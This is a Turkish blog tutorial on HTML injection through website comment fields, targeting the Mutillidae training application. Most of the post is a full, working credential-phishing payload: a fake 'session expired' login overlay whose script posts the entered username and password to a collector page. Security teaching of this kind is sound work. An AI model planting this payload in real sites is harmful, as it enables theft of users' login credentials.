Yorum Ekleme Alanına Html İnjection Saldırısı

Html Injection açıklığı, web sitelerinde kullanıcılara yorum içerisinde html kod parçaları girmelerini sağlayan input alanlarından kaynaklanır.Bu alanlar ne kadar masum olsa da saldırganlar için çok önemlidir. Bu alanlara saldırı yapısına göre çok farklı html kodları eklenerek üyelerin,ziyaretçilerin bilgileri temin edilebilinir.Bunların başında ziyaretçilerin,üyelerin cookie bilgileri çalınabilir.



Bu örneği görelim.



Yukarıdaki resimde cookie bilgilerini hacker kendi sayfasına yolluyor. Ama aşağıdaki örnekte bu sefer ziyaretçilerin karşısına sanki session bilgisi düşmüş-yenilenmiş gibi login ekranı çıkartılır ve username-password bilgisi istenir.




Aşağıda çıktısını görelim. Submit butonunun işlevine username ve password bilgilerini istenilen sunucuya gönderilirse üyenin bilgileri çalınmış olunur. Basit bir yorum alanından ziyeretçilerin üyelik bilgileri çalınabilinir.




Javascript-Html kodları aşağıdaki gibidir.

<div id="modal" style="position:fixed;top:0;left:0;width:100%;height:100%;background-color:black;opacity:.5;z-index:999998;">&nbsp;</div>
<div style="margin:5% auto;width:100%;position:fixed;top:5%;left:5%;z-index:9999999;">
<div id="idlogin" style="width:405px;position:relative;margin:0 auto;background-color:white;padding:10px;border:1px solid black;">
<script>
function capture(theForm){
      var lXMLHTTP;
try{
     var lData = "username=" + theForm.username.value + "&password=" + theForm.password.value;
     var lHost = "localhost";
     var lProtocol = "http";
     var lAction = lProtocol + "://" + lHost + "/mutillidae/capture-data.php";
      var lMethod = "post";
     try{
          lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
          }catch (e){
             try{
               lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
                  }catch(e) {
                        try{
                              lXMLHTTP = new XMLHttpRequest();
                             }catch (e) {
                };//end try
                       };//end try
         };//end try
           
              lXMLHTTP.onreadystatechange = function(){

           if(lXMLHTTP.readyState == 4){
                              theForm.parentNode.style.display="none";
          }// end if
      };

     lXMLHTTP.open(lMethod, lAction, true);
     lXMLHTTP.setRequestHeader("Host", lHost);
     lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
     lXMLHTTP.send(lData);
}catch(e){
    alert(e.message);
         //THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
              };
             };//end function
</script>
        <form>
            <table style="font-weight:bold;">
                     <tbody>
                             <tr>
                                   <td colspan="2" style="font-size:20px;">Sorry! Your session has expired.<br><br>Please                                              login again.
                                  </td></tr>
                              <tr>
                                 <td colspan="2">&nbsp;
                                   </td></tr>
                              <tr><td>Username</td><td><input name="username" type="text"></td></tr>
                              <tr><td>Password</td><td><input name="password" type="password"></td></tr>
                              <tr><td colspan="2" style="text-align:center;"><input type="button"                                                   onclick="javascript:capture(this.form);" value=" Submit ">
                               </td></tr>
                    </tbody>
            </table>
           </form>
</div>


Yorumlar

Bu blogdaki popüler yayınlar

Wamp Server ile Yerel Ağınızda Site Yayınlama

Web Pentest İşlemlerinde Burp Suite Kullanımı-1